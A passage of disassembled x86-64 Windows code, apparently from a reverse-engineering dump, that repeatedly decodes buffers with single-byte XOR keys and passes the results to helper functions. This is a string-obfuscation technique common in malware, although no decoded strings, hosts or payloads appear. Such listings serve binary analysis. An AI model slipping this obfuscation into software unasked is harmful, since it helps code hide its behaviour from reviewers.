xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
mov byte [r8 + 0x23], 0
mov rdx, r13
lea rcx, [rsp + 0x340]
call fcn.140023e50
nop
lea rdx, [rsp + 0x130]
call fcn.140033c90
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, ds:[r8 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
lea r8, [r8 + 0x16]
lea rax, [r8 + r10]
cmp rax, 0x58
jb 0x140030880
mov byte ds:[r9 + 0x59], 0
lea rdx, [r9 + 1]
lea rcx, [rsp + 0x360]
call fcn.140007da0
nop
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0x340]
call fcn.140016f00
lea rdx, [rsp + 0xa0]
call fcn.140033d40
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
mov byte [r8 + 0x22], 0
mov rdx, r13
lea rcx, [rsp + 0x340]
call fcn.140023e50
nop
lea rdx, [rsp + 0x130]
call fcn.140033d90
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r11 + r8]
movzx ecx, byte [r9]
xor byte [rdx + r10], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
lea r8, [r8 + 0x1d]
lea rax, [r8 + r10]
cmp rax, 0x57
jb 0x140030a40
mov byte [r11 + 0x57], 0
mov rdx, r11
lea rcx, [rsp + 0x360]
call fcn.140007da0
nop
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0x340]
call fcn.140016f00
lea rdx, ds:[rsp + 0xa0]
call fcn.140033e40
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
mov byte [r8 + 0x21], 0
mov rdx, r13
lea rcx, [rsp + 0x340]
call fcn.140023e50
nop
lea rdx, [rsp + 0x130]
call fcn.140033e90
mov r8, r14
lea rdx, [rax + 1]
nop word [rax + rax]
movzx ecx, byte [rax]
xor byte [rdx + r8], cl
movzx ecx, byte [rax]
xor byte [r8 + rax + 2], cl
add r8, 2
cmp r8, 0x56
jb 0x140030c20
mov byte [rdx + 0x56], 0
lea rcx, [rsp + 0x360]
call fcn.140007da0
nop
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0x340]
call fcn.140016f00
lea rdx, ds:[rsp + 0xa0]
call fcn.140033f30
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
mov byte [r8 + 0x22], 0
mov rdx, r13
lea rcx, [rsp + 0x340]
call fcn.140023e50
nop
lea rdx, [rsp + 0x130]
call fcn.140033f80
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r11 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
lea r8, [r8 + 0x1d]
lea rax, [r10 + r8]
cmp rax, 0x57
jb 0x140030d30
mov byte ds:[r11 + 0x57], 0
mov rdx, r11
lea rcx, [rsp + 0x360]
call fcn.140007da0
nop
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0x340]
call fcn.140016f00
lea rdx, [rsp + 0xa0]
call fcn.140034030
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
mov byte [r8 + 0x23], 0
mov rdx, r13
lea rcx, [rsp + 0x340]
call fcn.140023e50
nop
lea rdx, [rsp + 0x130]
call fcn.140034080
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, ds:[r11 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
lea r8, [r8 + 0x16]
lea rax, [r10 + r8]
cmp rax, 0x58
jb 0x140030f20
mov byte [r11 + 0x58], 0
mov rdx, r11
lea rcx, [rsp + 0x360]
call fcn.140007da0
nop
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0x340]
call fcn.140016f00
lea rdx, [rsp + 0xa0]
call fcn.140034130
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
mov byte [r8 + 0x22], 0
mov rdx, r13
lea rcx, [rsp + 0x340]
call fcn.140023e50
nop
lea rdx, [rsp + 0x130]
call fcn.140034180
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r11 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
lea r8, [r8 + 0x1d]
lea rax, [r10 + r8]
cmp rax, 0x57
jb 0x1400310e0
mov byte [r11 + 0x57], 0
mov rdx, r11
lea rcx, [rsp + 0x360]
call fcn.140007da0
nop
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0x340]
call fcn.140016f00
lea rdx, ds:[rsp + 0xa0]
call fcn.140034230
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
mov byte [r8 + 0x21], 0
mov rdx, r13
lea rcx, [rsp + 0x340]
call fcn.140023e50
nop
lea rdx, [rsp + 0x130]
call fcn.140034280
mov r8, r14
lea rdx, [rax + 1]
nop word [rax + rax]
movzx ecx, byte [rax]
xor byte [rdx + r8], cl
movzx ecx, byte [rax]
xor byte [r8 + rax + 2], cl
add r8, 2
cmp r8, 0x56
jb 0x1400312c0
mov byte [rdx + 0x56], 0
lea rcx, [rsp + 0x360]
call fcn.140007da0
nop
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0x340]
call fcn.140016f00
lea rdx, ds:[rsp + 0xa0]
call fcn.140034320
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
mov byte [r8 + 0x23], 0
mov rdx, r13
lea rcx, [rsp + 0x340]
call fcn.140023e50
nop
lea rdx, [rsp + 0x130]
call fcn.140034370
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r10 + r8]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
lea r8, [r8 + 0x16]
lea rax, [r10 + r8]
cmp rax, 0x58
jb 0x1400313d0
mov byte [r9 + 0x59], 0
lea rdx, [r9 + 1]
lea rcx, [rsp + 0x360]
call fcn.140007da0
nop
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0x340]
call fcn.140016f00
lea rdx, ds:[rsp + 0xa0]
call fcn.140034420
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
mov byte [r8 + 0x22], 0
mov rdx, r13
lea rcx, [rsp + 0x340]
call fcn.140023e50
nop
lea rdx, [rsp + 0x130]
call fcn.140034470
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r10 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
lea r8, [r8 + 0x1d]
lea rax, [r10 + r8]
cmp rax, 0x57
jb 0x140031590
mov byte ds:[r11 + 0x57], 0
mov rdx, r11
lea rcx, [rsp + 0x360]
call fcn.140007da0
nop
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0x340]
call fcn.140016f00
lea rdx, [rsp + 0xa0]
call fcn.140034520
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
mov byte [r8 + 0x20], 0
mov rdx, r13
lea rcx, [rsp + 0x340]
call fcn.140023e50
nop
lea rdx, [rsp + 0x130]
call fcn.140034580
mov r9, rax
lea r10, [rax + 1]
lea r8, [rax + 3]
sub rbx, rax
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbx + r10]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
lea r8, [r8 + 0x11]
lea rax, [rbx + r8]
cmp rax, 0x55
jb 0x140031780
mov byte [r10 + 0x55], 0
mov rdx, r10
lea rcx, [rsp + 0x360]
call fcn.140007da0
nop
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0x340]
call fcn.140016f00
lea rdx, ds:[rsp + 0xa0]
call fcn.140034630
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
